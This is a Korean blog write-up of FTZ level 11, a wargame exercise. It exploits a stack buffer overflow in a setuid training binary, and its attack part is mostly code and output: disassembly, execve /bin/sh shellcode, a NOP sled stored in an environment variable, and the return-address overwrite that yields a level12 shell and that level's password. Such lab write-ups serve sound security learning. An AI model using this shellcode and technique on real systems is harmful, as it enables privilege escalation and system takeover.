[FTZ] Level 11

Sisyphus·2022년 7월 14일

FTZ

목록 보기
21/30
[level11@ftz level11]$ ls
attackme  hint  public_html  tmp
[level11@ftz level11]$ cat hint

#include <stdio.h>
#include <stdlib.h>
 
int main( int argc, char *argv[] )
{
	char str[256];

 	setreuid( 3092, 3092 );
	strcpy( str, argv[1] );
	printf( str );
} 

ls 명령어로 파일을 출력해보면 hint가 있습니다.
출력을 해보면 소스코드가 나옵니다.


소스코드를 해석해보면

#include <stdio.h>
#include <stdlib.h>
 
int main( int argc, char *argv[] )
{
	char str[256];

 	setreuid( 3092, 3092 );    // ruid와 euid를 3092로 설정
	strcpy( str, argv[1] );    // str에 argv[1]을 복사
	printf( str );    		   // str을 출력
}

strcpy() 함수로 크기에 제한 없이 str에 값을 복사하고 있기 때문에, 버퍼 오버플로우가 발생합니다.


공격을 위해 메모리 구조를 분석해보면

(gdb) disas main
Dump of assembler code for function main:
0x08048470 <main+0>:	push   ebp
0x08048471 <main+1>:	mov    ebp,esp
0x08048473 <main+3>:	sub    esp,0x108
0x08048479 <main+9>:	sub    esp,0x8
0x0804847c <main+12>:	push   0xc14				// 3092
0x08048481 <main+17>:	push   0xc14				// 3092
0x08048486 <main+22>:	call   0x804834c <setreuid>	// setreuid(3092, 3092)
0x0804848b <main+27>:	add    esp,0x10
0x0804848e <main+30>:	sub    esp,0x8
0x08048491 <main+33>:	mov    eax,DWORD PTR [ebp+12]	// eax = argv[0]
0x08048494 <main+36>:	add    eax,0x4					// eax = argv[1]
0x08048497 <main+39>:	push   DWORD PTR [eax]			// argv[1]
0x08048499 <main+41>:	lea    eax,[ebp-264]			// eax = str[256]
0x0804849f <main+47>:	push   eax						// str[256]
0x080484a0 <main+48>:	call   0x804835c <strcpy>		// strcpy(str, argv[1])
0x080484a5 <main+53>:	add    esp,0x10
0x080484a8 <main+56>:	sub    esp,0xc
0x080484ab <main+59>:	lea    eax,[ebp-264]
0x080484b1 <main+65>:	push   eax
0x080484b2 <main+66>:	call   0x804833c <printf>
0x080484b7 <main+71>:	add    esp,0x10
0x080484ba <main+74>:	leave  
0x080484bb <main+75>:	ret    
0x080484bc <main+76>:	nop    
0x080484bd <main+77>:	nop    
0x080484be <main+78>:	nop    
0x080484bf <main+79>:	nop    
End of assembler dump.

메모리 구조를 그려보면

268바이트를 NOP+쉘코드로 채우고 RET에 NOP 시작 주소를 넣어서 버퍼 오버플로우 공격을 시도해 보겠습니다.


# 쉘 코드 (25byte)
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

먼저 환경 변수에 NOP + ShellCode를 저장하겠습니다.

[level11@ftz level11]$ export shellcode=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

그런 다음 환경변수 주소를 출력해보면

#include <stdio.h>

int main() {
	printf("shellcode: %p\n", getenv("shellcode"));
}
[level11@ftz tmp]$ vi getenv.c 
[level11@ftz tmp]$ gcc -o getenv getenv.c 
[level11@ftz tmp]$ ./getenv 
shellcode: 0xbffffed8

리틀 엔디안 방식으로 변환해보면 \xd8\xfe\xff\xbf


이제 익스플로잇 코드를 짜보면

NOP[268] + shellcode_addr[4]
`python -c 'print "\x90"*268+"\xd8\xfe\xff\xbf"'`

익스플로잇 코드를 실행시켜보면

[level11@ftz level11]$ ./attackme `python -c 'print "\x90"*268+"\xd8\xfe\xff\xbf"'`
sh-2.05b$ id
uid=3092(level12) gid=3091(level11) groups=3091(level11

쉘이 떴습니다.


패스워드를 출력해보면

sh-2.05b$ my-pass
TERM environment variable not set.

Level12 Password is "it is like this".

0개의 댓글